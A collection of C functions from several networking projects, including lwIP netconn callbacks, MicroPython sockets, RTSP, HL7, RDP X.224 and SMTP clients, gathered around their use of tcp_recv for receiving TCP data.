static void zmtp_recv (int handle, zmtp_msg_t *msg) { tcp_recv (handle, (uint8_t *) msg, 2); tcp_recv (handle, msg->data, msg->size); }
/** * Internal helper function to close a TCP netconn: since this sometimes * doesn't work at the first attempt, this function is called from multiple * places. * * @param conn the TCP netconn to close */ static void do_close_internal(struct netconn *conn) { err_t err; u8_t shut, shut_rx, shut_tx, close; LWIP_ASSERT("invalid conn", (conn != NULL)); LWIP_ASSERT("this is for tcp netconns only", (conn->type == NETCONN_TCP)); LWIP_ASSERT("conn must be in state NETCONN_CLOSE", (conn->state == NETCONN_CLOSE)); LWIP_ASSERT("pcb already closed", (conn->pcb.tcp != NULL)); LWIP_ASSERT("conn->current_msg != NULL", conn->current_msg != NULL); shut = conn->current_msg->msg.sd.shut; shut_rx = shut & NETCONN_SHUT_RD; shut_tx = shut & NETCONN_SHUT_WR; /* shutting down both ends is the same as closing */ close = shut == NETCONN_SHUT_RDWR; /* Set back some callback pointers */ if (close) { tcp_arg(conn->pcb.tcp, NULL); } if (conn->pcb.tcp->state == LISTEN) { tcp_accept(conn->pcb.tcp, NULL); } else { /* some callbacks have to be reset if tcp_close is not successful */ if (shut_rx) { tcp_recv(conn->pcb.tcp, NULL); tcp_accept(conn->pcb.tcp, NULL); } if (shut_tx) { tcp_sent(conn->pcb.tcp, NULL); } if (close) { tcp_poll(conn->pcb.tcp, NULL, 4); tcp_err(conn->pcb.tcp, NULL); } } /* Try to close the connection */ if (shut == NETCONN_SHUT_RDWR) { err = tcp_close(conn->pcb.tcp); } else { err = tcp_shutdown(conn->pcb.tcp, shut & NETCONN_SHUT_RD, shut & NETCONN_SHUT_WR); } if (err == ERR_OK) { /* Closing succeeded */ conn->current_msg->err = ERR_OK; conn->current_msg = NULL; conn->state = NETCONN_NONE; /* Set back some callback pointers as conn is going away */ conn->pcb.tcp = NULL; /* Trigger select() in socket layer. Make sure everybody notices activity on the connection, error first! */ if (close) { API_EVENT(conn, NETCONN_EVT_ERROR, 0); } if (shut_rx) { API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); } if (shut_tx) { API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0); } /* wake up the application task */ sys_sem_signal(&conn->op_completed); } else { /* Closing failed, restore some of the callbacks */ /* Closing of listen pcb will never fail! */ LWIP_ASSERT("Closing a listen pcb may not fail!", (conn->pcb.tcp->state != LISTEN)); tcp_sent(conn->pcb.tcp, sent_tcp); tcp_poll(conn->pcb.tcp, poll_tcp, 4); tcp_err(conn->pcb.tcp, err_tcp); tcp_arg(conn->pcb.tcp, conn); /* don't restore recv callback: we don't want to receive any more data */ } /* If closing didn't succeed, we get called again either from poll_tcp or from sent_tcp */ }
void NetworkTransaction::Close() { tcp_pcb *pcb = cs->pcb; tcp_recv(pcb, nullptr); closeRequested = true; }
int rtsp_line_recv(struct rtsp_client * rtsp, char * line, unsigned int len) { struct tcp_pcb * tp = rtsp->tcp; int rem; int cnt; int pos; int lin; int c1; int c2; int n; cnt = rtsp->cnt; pos = rtsp->pos; lin = rtsp->lin; c1 = (pos) ? rtsp->buf[pos - 1] : '\0'; /* receive SDP payload */ for (;;) { /* search for end of line */ while (pos < cnt) { c2 = rtsp->buf[pos++]; if (c1 == '\r' && c2 == '\n') { char * dst = line; char * src = &rtsp->buf[lin]; int i; n = pos - lin - 2; if (n > len) n = len; for (i = 0; i < n; ++i) dst[i] = src[i]; /* move to the next line */ lin = pos; rtsp->lin = lin; rtsp->pos = lin; return n; } c1 = c2; } /* */ if (rtsp->resp.content_len == rtsp->resp.content_pos) { /* get the number of remaining characters, ignoring * a possible CR at the end*/ n = pos - lin - (c1 == '\r') ? 1 : 0; if (n != 0) { /* this is the last line and there is no CR+LF at the end of it */ char * dst = line; char * src = &rtsp->buf[lin]; int i; if (n > len) n = len; for (i = 0; i < n; ++i) dst[i] = src[i]; } /* update our pointers */ rtsp->pos = pos; rtsp->lin = lin; return n; } if (RTSP_CLIENT_BUF_LEN == cnt) { int i; int j; if (lin == 0) { ERR("buffer overflow!"); return -1; } /* move remaining data to the beginning of the buffer */ n = cnt - lin; for (i = 0, j = lin; i < n; ++i, ++j) rtsp->buf[i] = rtsp->buf[j]; cnt = n; pos = n; lin = 0; } /* free space in the input buffer */ rem = RTSP_CLIENT_BUF_LEN - cnt; /* read more data */ if ((n = tcp_recv(tp, &rtsp->buf[cnt], rem)) <= 0) { tcp_close(tp); return n; } rtsp->resp.content_pos += n; cnt += n; rtsp->cnt = cnt; } return 0; }
bool client_test(int argc, char **argv) { FILE *out = NULL; FILE *err = NULL; char *ack = NULL; const char *filename = NULL; const char *host = NULL; const char *port = NULL; off_t offset = 0; bool check = false; int sockfd, tmperr, write_count, fdin, size, wait_for_ack, req, next_opt; const char *short_opt = "no:"; const struct option long_opt[] = { {"no-ack", 0, NULL, 'n'}, {"output", 1, NULL, 'o'}, {NULL, 0, NULL, 0}, }; /* Just in case we want to redirect stderr later on. */ err = stderr; out = stdout; wait_for_ack = 1; do { next_opt = getopt_long(argc, argv, short_opt, long_opt, NULL); switch(next_opt) { case 'o': /* -o or --output ... optional */ out = redirect(optarg, "a", stdout); break; case 'n': /* -n or --no-ack ... optional */ wait_for_ack = 0; break; case '?': /* invalid option */ usage(err, EXIT_FAILURE); break; /* End of options */ case -1: break; /* If we get here, something went very wrong. */ default: abort(); break; } } while(next_opt != -1); argv += optind; argc -= optind; if(argc != 3) usage(err, EXIT_FAILURE); host = argv[0]; port = argv[1]; filename = argv[2]; if(filename == NULL) die(err, EINVAL, "%s: HL7 filename required.\n", program); if(host == NULL) die(err, EDESTADDRREQ, "%s: Destination host required.\n", program); if(port == NULL) die(err, EINVAL, "%s: Destination port required.\n", program); fdin = sockfd = -1; write_count = 0; size = getsize(filename); /* Save errno, as writing to a stream can change it in the * interim. */ tmperr = errno; if(size <= 0) { switch(size) { case 0: die(err, EXIT_FAILURE, "%s: %s: Cowardly refusing to send an empty file!\n", program, filename); break; case -1: die(err, tmperr, "%s: Could not open \"%s\": %s\n", program, filename, strerror(errno)); break; default: die(err, EXIT_FAILURE, "%s: Could not open \"%s\"\n", program, filename); break; } } if(!tcp_connect(host, atoi(port), &sockfd)) { tmperr = errno; switch(sockfd) { case -1: die(err, EXIT_FAILURE, "Error opening socket.\n"); break; case -2: die(err, EXIT_FAILURE, "%s: Hostname lookup failure: %s\n", program, host); break; case -3: die(err, tmperr, "%s: error connecting to %s, port %s.\n", program, host, port); break; default: /* If we get here, the API is busted. */ die(err, EXIT_FAILURE, "%s: Unknown error!\n", program); break; } } /* Read file and send to server */ if((fdin = open(filename, O_RDONLY)) == -1) { die(err, errno, "%s: couldn't open %s for reading: %s\n", program, filename, strerror(errno)); } else { /* Toss file to server. Linux syscall, but its fast. :D*/ sendfile(sockfd, fdin, &offset, size); if(wait_for_ack) { ack = tcp_recv(sockfd, 5000, MAX_READ, &req); if(ack==NULL) return false; if((ack!=NULL) && (strlen(ack) > 0)) { fprintf(stderr, "%s\n", ack); check = parse(ack); } free(ack); ack = NULL; close(sockfd); return check; } /* if waiting for ack ... */ close(sockfd); } /* if able to open filestream... */ return true; }
/** * Receive callback function for RAW netconns. * Doesn't 'eat' the packet, only references it and sends it to * conn->recvmbox * * @see raw.h (struct raw_pcb.recv) for parameters and return value */ static u8_t recv_raw(void *arg, struct raw_pcb *pcb, struct pbuf *p, struct ip_addr *addr) { struct pbuf *q; struct netbuf *buf; struct netconn *conn; #if LWIP_SO_RCVBUF int recv_avail; #endif /* LWIP_SO_RCVBUF */ LWIP_UNUSED_ARG(addr); conn = arg; #if LWIP_SO_RCVBUF SYS_ARCH_GET(conn->recv_avail, recv_avail); if ((conn != NULL) && (conn->recvmbox != SYS_MBOX_NULL) && ((recv_avail + (int)(p->tot_len)) <= conn->recv_bufsize)) { #else /* LWIP_SO_RCVBUF */ if ((conn != NULL) && (conn->recvmbox != SYS_MBOX_NULL)) { #endif /* LWIP_SO_RCVBUF */ /* copy the whole packet into new pbufs */ q = pbuf_alloc(PBUF_RAW, p->tot_len, PBUF_RAM); if(q != NULL) { if (pbuf_copy(q, p) != ERR_OK) { pbuf_free(q); q = NULL; } } if(q != NULL) { buf = memp_malloc(MEMP_NETBUF); if (buf == NULL) { pbuf_free(q); return 0; } buf->p = q; buf->ptr = q; buf->addr = &(((struct ip_hdr*)(q->payload))->src); buf->port = pcb->protocol; SYS_ARCH_INC(conn->recv_avail, q->tot_len); /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, q->tot_len); if (sys_mbox_trypost(conn->recvmbox, buf) != ERR_OK) { netbuf_delete(buf); } } } return 0; /* do not eat the packet */ } #endif /* LWIP_RAW*/ #if LWIP_UDP /** * Receive callback function for UDP netconns. * Posts the packet to conn->recvmbox or deletes it on memory error. * * @see udp.h (struct udp_pcb.recv) for parameters */ static void recv_udp(void *arg, struct udp_pcb *pcb, struct pbuf *p, struct ip_addr *addr, u16_t port) { struct netbuf *buf; struct netconn *conn; #if LWIP_SO_RCVBUF int recv_avail; #endif /* LWIP_SO_RCVBUF */ LWIP_UNUSED_ARG(pcb); /* only used for asserts... */ LWIP_ASSERT("recv_udp must have a pcb argument", pcb != NULL); LWIP_ASSERT("recv_udp must have an argument", arg != NULL); conn = arg; LWIP_ASSERT("recv_udp: recv for wrong pcb!", conn->pcb.udp == pcb); #if LWIP_SO_RCVBUF SYS_ARCH_GET(conn->recv_avail, recv_avail); if ((conn == NULL) || (conn->recvmbox == SYS_MBOX_NULL) || ((recv_avail + (int)(p->tot_len)) > conn->recv_bufsize)) { #else /* LWIP_SO_RCVBUF */ if ((conn == NULL) || (conn->recvmbox == SYS_MBOX_NULL)) { #endif /* LWIP_SO_RCVBUF */ pbuf_free(p); return; } buf = memp_malloc(MEMP_NETBUF); if (buf == NULL) { pbuf_free(p); return; } else { buf->p = p; buf->ptr = p; buf->addr = addr; buf->port = port; } SYS_ARCH_INC(conn->recv_avail, p->tot_len); /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, p->tot_len); if (sys_mbox_trypost(conn->recvmbox, buf) != ERR_OK) { netbuf_delete(buf); return; } } #endif /* LWIP_UDP */ #if LWIP_TCP /** * Receive callback function for TCP netconns. * Posts the packet to conn->recvmbox, but doesn't delete it on errors. * * @see tcp.h (struct tcp_pcb.recv) for parameters and return value */ static err_t recv_tcp(void *arg, struct tcp_pcb *pcb, struct pbuf *p, err_t err) { struct netconn *conn; u16_t len; LWIP_UNUSED_ARG(pcb); LWIP_ASSERT("recv_tcp must have a pcb argument", pcb != NULL); LWIP_ASSERT("recv_tcp must have an argument", arg != NULL); conn = arg; LWIP_ASSERT("recv_tcp: recv for wrong pcb!", conn->pcb.tcp == pcb); if ((conn == NULL) || (conn->recvmbox == SYS_MBOX_NULL)) { return ERR_VAL; } conn->err = err; if (p != NULL) { len = p->tot_len; SYS_ARCH_INC(conn->recv_avail, len); } else { len = 0; } /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, len); if (sys_mbox_trypost(conn->recvmbox, p) != ERR_OK) { return ERR_MEM; } return ERR_OK; } /** * Poll callback function for TCP netconns. * Wakes up an application thread that waits for a connection to close * or data to be sent. The application thread then takes the * appropriate action to go on. * * Signals the conn->sem. * netconn_close waits for conn->sem if closing failed. * * @see tcp.h (struct tcp_pcb.poll) for parameters and return value */ static err_t poll_tcp(void *arg, struct tcp_pcb *pcb) { struct netconn *conn = arg; LWIP_UNUSED_ARG(pcb); LWIP_ASSERT("conn != NULL", (conn != NULL)); if (conn->state == NETCONN_WRITE) { do_writemore(conn); } else if (conn->state == NETCONN_CLOSE) { do_close_internal(conn); } return ERR_OK; } /** * Sent callback function for TCP netconns. * Signals the conn->sem and calls API_EVENT. * netconn_write waits for conn->sem if send buffer is low. * * @see tcp.h (struct tcp_pcb.sent) for parameters and return value */ static err_t sent_tcp(void *arg, struct tcp_pcb *pcb, u16_t len) { struct netconn *conn = arg; LWIP_UNUSED_ARG(pcb); LWIP_ASSERT("conn != NULL", (conn != NULL)); if (conn->state == NETCONN_WRITE) { LWIP_ASSERT("conn->pcb.tcp != NULL", conn->pcb.tcp != NULL); do_writemore(conn); } else if (conn->state == NETCONN_CLOSE) { do_close_internal(conn); } if (conn) { if ((conn->pcb.tcp != NULL) && (tcp_sndbuf(conn->pcb.tcp) > TCP_SNDLOWAT)) { API_EVENT(conn, NETCONN_EVT_SENDPLUS, len); } } return ERR_OK; } /** * Error callback function for TCP netconns. * Signals conn->sem, posts to all conn mboxes and calls API_EVENT. * The application thread has then to decide what to do. * * @see tcp.h (struct tcp_pcb.err) for parameters */ static void err_tcp(void *arg, err_t err) { struct netconn *conn; conn = arg; LWIP_ASSERT("conn != NULL", (conn != NULL)); conn->pcb.tcp = NULL; conn->err = err; if (conn->recvmbox != SYS_MBOX_NULL) { /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); sys_mbox_post(conn->recvmbox, NULL); } if (conn->op_completed != SYS_SEM_NULL && conn->state == NETCONN_CONNECT) { conn->state = NETCONN_NONE; sys_sem_signal(conn->op_completed); } if (conn->acceptmbox != SYS_MBOX_NULL) { /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); sys_mbox_post(conn->acceptmbox, NULL); } if ((conn->state == NETCONN_WRITE) || (conn->state == NETCONN_CLOSE)) { /* calling do_writemore/do_close_internal is not necessary since the pcb has already been deleted! */ conn->state = NETCONN_NONE; /* wake up the waiting task */ sys_sem_signal(conn->op_completed); } } /** * Setup a tcp_pcb with the correct callback function pointers * and their arguments. * * @param conn the TCP netconn to setup */ static void setup_tcp(struct netconn *conn) { struct tcp_pcb *pcb; pcb = conn->pcb.tcp; tcp_arg(pcb, conn); tcp_recv(pcb, recv_tcp); tcp_sent(pcb, sent_tcp); tcp_poll(pcb, poll_tcp, 4); tcp_err(pcb, err_tcp); } /** * Accept callback function for TCP netconns. * Allocates a new netconn and posts that to conn->acceptmbox. * * @see tcp.h (struct tcp_pcb_listen.accept) for parameters and return value */ static err_t accept_function(void *arg, struct tcp_pcb *newpcb, err_t err) { struct netconn *newconn; struct netconn *conn; #if API_MSG_DEBUG #if TCP_DEBUG tcp_debug_print_state(newpcb->state); #endif /* TCP_DEBUG */ #endif /* API_MSG_DEBUG */ conn = (struct netconn *)arg; LWIP_ERROR("accept_function: invalid conn->acceptmbox", conn->acceptmbox != SYS_MBOX_NULL, return ERR_VAL;); /* We have to set the callback here even though * the new socket is unknown. conn->socket is marked as -1. */ newconn = netconn_alloc(conn->type, conn->callback); if (newconn == NULL) { return ERR_MEM; } newconn->pcb.tcp = newpcb; setup_tcp(newconn); newconn->err = err; /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); if (sys_mbox_trypost(conn->acceptmbox, newconn) != ERR_OK) { /* When returning != ERR_OK, the connection is aborted in tcp_process(), so do nothing here! */ newconn->pcb.tcp = NULL; netconn_free(newconn); return ERR_MEM; } return ERR_OK; } #endif /* LWIP_TCP */ /** * Create a new pcb of a specific type. * Called from do_newconn(). * * @param msg the api_msg_msg describing the connection type * @return msg->conn->err, but the return value is currently ignored */ static err_t pcb_new(struct api_msg_msg *msg) { msg->conn->err = ERR_OK; LWIP_ASSERT("pcb_new: pcb already allocated", msg->conn->pcb.tcp == NULL); /* Allocate a PCB for this connection */ switch(NETCONNTYPE_GROUP(msg->conn->type)) { #if LWIP_RAW case NETCONN_RAW: msg->conn->pcb.raw = raw_new(msg->msg.n.proto); if(msg->conn->pcb.raw == NULL) { msg->conn->err = ERR_MEM; break; } raw_recv(msg->conn->pcb.raw, recv_raw, msg->conn); break; #endif /* LWIP_RAW */ #if LWIP_UDP case NETCONN_UDP: msg->conn->pcb.udp = udp_new(); if(msg->conn->pcb.udp == NULL) { msg->conn->err = ERR_MEM; break; } #if LWIP_UDPLITE if (msg->conn->type==NETCONN_UDPLITE) { udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_UDPLITE); } #endif /* LWIP_UDPLITE */ if (msg->conn->type==NETCONN_UDPNOCHKSUM) { udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_NOCHKSUM); } udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn); break; #endif /* LWIP_UDP */ #if LWIP_TCP case NETCONN_TCP: msg->conn->pcb.tcp = tcp_new(); if(msg->conn->pcb.tcp == NULL) { msg->conn->err = ERR_MEM; break; } setup_tcp(msg->conn); break; #endif /* LWIP_TCP */ default: /* Unsupported netconn type, e.g. protocol disabled */ msg->conn->err = ERR_VAL; break; } return msg->conn->err; }
STATIC mp_obj_t lwip_socket_connect(mp_obj_t self_in, mp_obj_t addr_in) { lwip_socket_obj_t *socket = self_in; if (socket->pcb == NULL) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EBADF))); } // get address uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE]; mp_uint_t port = netutils_parse_inet_addr(addr_in, ip, NETUTILS_BIG); ip_addr_t dest; IP4_ADDR(&dest, ip[0], ip[1], ip[2], ip[3]); err_t err = ERR_ARG; switch (socket->type) { case MOD_NETWORK_SOCK_STREAM: { if (socket->connected != 0) { if (socket->connected == 2) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EALREADY))); } else { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EINPROGRESS))); } } // Register our recieve callback. tcp_recv((struct tcp_pcb*)socket->pcb, _lwip_tcp_recv); // Mark us as "connecting" socket->connected = 1; err = tcp_connect((struct tcp_pcb*)socket->pcb, &dest, port, _lwip_tcp_connected); if (err != ERR_OK) { socket->connected = 0; nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(error_lookup_table[-err]))); } socket->peer_port = (mp_uint_t)port; memcpy(socket->peer, &dest, 4); // And now we wait... if (socket->timeout != -1) { for (mp_uint_t retries = socket->timeout / 100; retries--;) { mp_hal_delay_ms(100); if (socket->connected != 1) break; } if (socket->connected == 1) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(ETIMEDOUT))); } } else { while (socket->connected == 1) { mp_hal_delay_ms(100); } } if (socket->connected == 2) { err = ERR_OK; } else { err = socket->connected; } break; } case MOD_NETWORK_SOCK_DGRAM: { err = udp_connect((struct udp_pcb*)socket->pcb, &dest, port); break; } } if (err != ERR_OK) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(error_lookup_table[-err]))); } return mp_const_none; }
static term_t ol_tcp_control(outlet_t *ol, uint32_t op, uint8_t *data, int dlen, term_t reply_to, heap_t *hp) { char rbuf[256]; char *reply = rbuf; int sz; assert(ol != 0); assert(ol->tcp != 0 || op == INET_REQ_OPEN || op == INET_REQ_SUBSCRIBE); switch (op) { case INET_REQ_OPEN: { if (dlen != 2 || data[1] != INET_TYPE_STREAM) goto error; uint8_t family = data[0]; if (family != INET_AF_INET && family != INET_AF_INET6) goto error; assert(ol->tcp == 0); #if LWIP_IPV6 ol->tcp = (family == INET_AF_INET6) ?tcp_new_ip6() :tcp_new(); #else if (family != INET_AF_INET) goto error; ol->tcp = tcp_new(); #endif assert(ol->tcp != 0); // see comment in ol_tcp_animate() tcp_setprio(ol->tcp, TCP_PRIO_MAX +1); tcp_arg(ol->tcp, ol); // callback arg tcp_recv(ol->tcp, recv_cb); tcp_sent(ol->tcp, sent_cb); tcp_err(ol->tcp, error_cb); *reply++ = INET_REP_OK; } break; case INET_REQ_CONNECT: { int is_ipv6 = PCB_ISIPV6(ol->tcp); if ((is_ipv6 && dlen != 4 +2 +16) || (!is_ipv6 && dlen != 4 +2 +4)) goto error; uint32_t timeout = GET_UINT_32(data); uint16_t remote_port = GET_UINT_16(data +4); err_t err; if (!is_ipv6) { ip_addr_t where_to; where_to.addr = ntohl(GET_UINT_32(data +4 +2)); err = tcp_connect(ol->tcp, &where_to, remote_port, connected_cb); } else { #if LWIP_IPV6 ip6_addr_t where_to; where_to.addr[0] = ntohl(GET_UINT_32(data +4 +2)); where_to.addr[1] = ntohl(GET_UINT_32(data +4 +2 +4)); where_to.addr[2] = ntohl(GET_UINT_32(data +4 +2 +8)); where_to.addr[3] = ntohl(GET_UINT_32(data +4 +2 +12)); err = tcp_connect_ip6(ol->tcp, &where_to, remote_port, connected_cb); #else goto error; #endif } // Does it make connections faster? tcp_output(ol->tcp); if (err == ERR_OK) { cr_defer_reply(ol, reply_to, timeout); *reply++ = INET_REP_OK; uint16_t ref = ASYNC_REF; // Why this is needed? A constant will do. PUT_UINT_16(reply, ref); reply += 2; } else { // //TODO: ERR_RTE possible too (IPv6) // assert(err == ERR_MEM); REPLY_INET_ERROR("enomem"); } } break; case INET_REQ_PEER: if (ol->tcp->state == CLOSED) REPLY_INET_ERROR("enotconn"); else { *reply++ = INET_REP_OK; *reply++ = INET_AF_INET; uint16_t peer_port = ol->tcp->remote_port; PUT_UINT_16(reply, peer_port); reply += 2; if (PCB_ISIPV6(ol->tcp)) { ip_addr_set_hton((ip_addr_t *)reply, (ip_addr_t *)&ol->tcp->remote_ip); reply += 4; } else { #if LWIP_IPV6 ip6_addr_set_hton((ip6_addr_t *)reply, (ip6_addr_t *)&ol->tcp->remote_ip); reply += 16; #else goto error; #endif } } break; case INET_REQ_NAME: if (ol->tcp->state == CLOSED) REPLY_INET_ERROR("enotconn"); else { *reply++ = INET_REP_OK; int is_ipv6 = PCB_ISIPV6(ol->tcp); *reply++ = (is_ipv6) ?INET_AF_INET6 :INET_AF_INET; uint16_t name_port = ol->tcp->local_port; PUT_UINT_16(reply, name_port); reply += 2; if (PCB_ISIPV6(ol->tcp)) { ip_addr_set_hton((ip_addr_t *)reply, (ip_addr_t *)&ol->tcp->local_ip); reply += 4; } else { #if LWIP_IPV6 ip6_addr_set_hton((ip6_addr_t *)reply, (ip6_addr_t *)&ol->tcp->local_ip); reply += 16; #else goto error; #endif } } break; case INET_REQ_BIND: { int is_ipv6 = PCB_ISIPV6(ol->tcp); if ((is_ipv6 && dlen != 2 +16) || (!is_ipv6 && dlen != 2 +4)) goto error; uint16_t port = GET_UINT_16(data); if (!is_ipv6) { ip_addr_t addr; addr.addr = ntohl(GET_UINT_32(data +2)); tcp_bind(ol->tcp, &addr, port); // always succeeds } else { #if LWIP_IPV6 ip6_addr_t addr; addr.addr[0] = ntohl(GET_UINT_32(data +2)); addr.addr[1] = ntohl(GET_UINT_32(data +2 +4)); addr.addr[2] = ntohl(GET_UINT_32(data +2 +8)); addr.addr[3] = ntohl(GET_UINT_32(data +2 +12)); tcp_bind_ip6(ol->tcp, &addr, port); // always succeeds #else goto error; #endif } uint16_t local_port = ol->tcp->local_port; *reply++ = INET_REP_OK; PUT_UINT_16(reply, local_port); reply += 2; } break; case INET_REQ_LISTEN: { assert(ol->recv_buf_node == 0); // or use destroy_private() int backlog = GET_UINT_16(data); ol_tcp_acc_promote(ol, ol->tcp, backlog); *reply++ = INET_REP_OK; } break; case INET_REQ_SETOPTS: if (ol_tcp_set_opts(ol, data, dlen) < 0) goto error; *reply++ = INET_REP_OK; break; case INET_REQ_GETOPTS: sz = ol_tcp_get_opts(ol, data, dlen, rbuf+1, sizeof(rbuf) -1); if (sz < 0) goto error; *reply++ = INET_REP_OK; reply += sz; break; case INET_REQ_GETSTAT: // // lwIP can provide some of the statistics but not all // REPLY_INET_ERROR("enotsup"); break; case INET_REQ_SUBSCRIBE: if (dlen != 1 && data[0] != INET_SUBS_EMPTY_OUT_Q) goto error; if (ol->empty_queue_in_progress) goto error; //TODO: allow multiple subscriptions int qlen = tcp_sndqueuelen(ol->tcp); if (qlen > 0) { ol->empty_queue_in_progress = 1; ol->empty_queue_reply_to = reply_to; } *reply++ = INET_REP_OK; *reply++ = INET_SUBS_EMPTY_OUT_Q; PUT_UINT_32(reply, qlen); reply += 4; break; case TCP_REQ_RECV: if (dlen != 4 +4) goto error; uint32_t msecs = GET_UINT_32(data); uint32_t recv_num = GET_UINT_32(data +4); if (ol->active != INET_PASSIVE) goto error; if (ol->packet == TCP_PB_RAW && recv_num > ol->recv_bufsize) goto error; if (ol->peer_close_detected) inet_async_error(ol->oid, reply_to, ASYNC_REF, A_CLOSED); else { cr_defer_reply(ol, reply_to, msecs); if (ol->packet == TCP_PB_RAW) ol->recv_expected_size = recv_num; // Enough data may have already been buffered proc_t *cont_proc = scheduler_lookup(reply_to); assert(cont_proc != 0); if (recv_bake_packets(ol, cont_proc) < 0) goto error; } *reply++ = INET_REP_OK; uint16_t my_ref = ASYNC_REF; PUT_UINT_16(reply, my_ref); reply += 2; break; case TCP_REQ_SHUTDOWN: if (dlen != 1) goto error; uint8_t what = data[0]; // 0 - read // 1 - write // 2 - read_write int shut_rx = (what == 0) || (what == 2); int shut_tx = (what == 1) || (what == 2); if (ol->tcp->state == LISTEN) REPLY_INET_ERROR("enotconn"); else { tcp_shutdown(ol->tcp, shut_rx, shut_tx); // TODO: return code ignored *reply++ = INET_REP_OK; } break; default: error: REPLY_INET_ERROR("einval"); } int rlen = reply -rbuf; assert(rlen >= 1 && rlen <= sizeof(rbuf)); term_t result = heap_str_N(hp, rbuf, rlen); if (result == noval) return A_NO_MEMORY; return result; }
/* Receive an X.224 TPDU */ static STREAM x224_recv(rdpIso * iso, STREAM s, int length, uint8 * pcode) { uint8 lengthIndicator; uint8 code; uint8 subcode; s = tcp_recv(iso->tcp, s, length - 4); if (s == NULL) return NULL; /* X.224 TPDU Header */ in_uint8(s, lengthIndicator); in_uint8(s, code); subcode = code & 0x0F; /* get the lower nibble */ code &= 0xF0; /* take out lower nibble */ *pcode = code; if (code == X224_TPDU_DATA) { in_uint8s(s, 1); /* EOT */ return s; } /* dst-ref (2 bytes) */ /* src-ref (2 bytes) */ /* class option (1 byte) */ in_uint8s(s, 5); switch (code) { /* Connection Request */ case X224_TPDU_CONNECTION_REQUEST: break; /* Connection Confirm */ case X224_TPDU_CONNECTION_CONFIRM: break; /* Disconnect Request */ case X224_TPDU_DISCONNECT_REQUEST: break; /* Data */ case X224_TPDU_DATA: break; /* Error */ case X224_TPDU_ERROR: break; } /* According to X.224 13.4 and [MS-RDPBCGR] 2.2.1.2, the rdpNegData field is optional and its length is included in the X.224 length indicator */ if (lengthIndicator > 6) { nego_recv(iso->nego, s); } return s; }
/** The actual mail-sending function, called by smtp_send_mail and * smtp_send_mail_static after setting up the struct smtp_session. */ static err_t smtp_send_mail_alloced(struct smtp_session *s) { err_t err; struct tcp_pcb* pcb; ip_addr_t addr; LWIP_ASSERT("no smtp_session supplied", s != NULL); #if SMTP_CHECK_DATA /* check that body conforms to RFC: * - convert all single-CR or -LF in body to CRLF * - only 7-bit ASCII is allowed */ if (smtp_verify(s->to, s->to_len, 0) != ERR_OK) { return ERR_ARG; } if (smtp_verify(s->from, s->from_len, 0) != ERR_OK) { return ERR_ARG; } if (smtp_verify(s->subject, s->subject_len, 0) != ERR_OK) { return ERR_ARG; } if (smtp_verify(s->body, s->body_len, 0) != ERR_OK) { return ERR_ARG; } #endif /* SMTP_CHECK_DATA */ pcb = tcp_new(); if (pcb == NULL) { err = ERR_MEM; goto leave; } #if SMTP_COPY_AUTHDATA /* copy auth data, ensuring the first byte is always zero */ memcpy(s->auth_plain + 1, smtp_auth_plain + 1, smtp_auth_plain_len - 1); s->auth_plain_len = smtp_auth_plain_len; /* default username and pass is empty string */ s->username = s->auth_plain; s->pass = s->auth_plain; if (smtp_username != NULL) { s->username += smtp_username - smtp_auth_plain; } if (smtp_pass != NULL) { s->pass += smtp_pass - smtp_auth_plain; } #endif /* SMTP_COPY_AUTHDATA */ s->state = SMTP_NULL; s->timer = SMTP_TIMEOUT; tcp_arg(pcb, s); tcp_recv(pcb, smtp_tcp_recv); tcp_err(pcb, smtp_tcp_err); tcp_poll(pcb, smtp_tcp_poll, SMTP_POLL_INTERVAL); tcp_sent(pcb, smtp_tcp_sent); #if LWIP_DNS err = dns_gethostbyname(smtp_server, &addr, smtp_dns_found, pcb); #else /* LWIP_DNS */ addr.addr = ipaddr_addr(smtp_server); err = addr.addr == IPADDR_NONE ? ERR_ARG : ERR_OK; #endif /* LWIP_DNS */ if (err == ERR_OK) { err = tcp_connect(pcb, &addr, smtp_server_port, smtp_tcp_connected); if (err != ERR_OK) { LWIP_DEBUGF(SMTP_DEBUG_WARN_STATE, ("tcp_connect failed: %d\n", (int)err)); goto deallocate_and_leave; } } else if (err != ERR_INPROGRESS) { LWIP_DEBUGF(SMTP_DEBUG_WARN_STATE, ("dns_gethostbyname failed: %d\n", (int)err)); goto deallocate_and_leave; } return ERR_OK; deallocate_and_leave: if (pcb != NULL) { tcp_arg(pcb, NULL); tcp_close(pcb); } leave: mem_free(s); /* no need to call the callback here since we return != ERR_OK */ return err; }
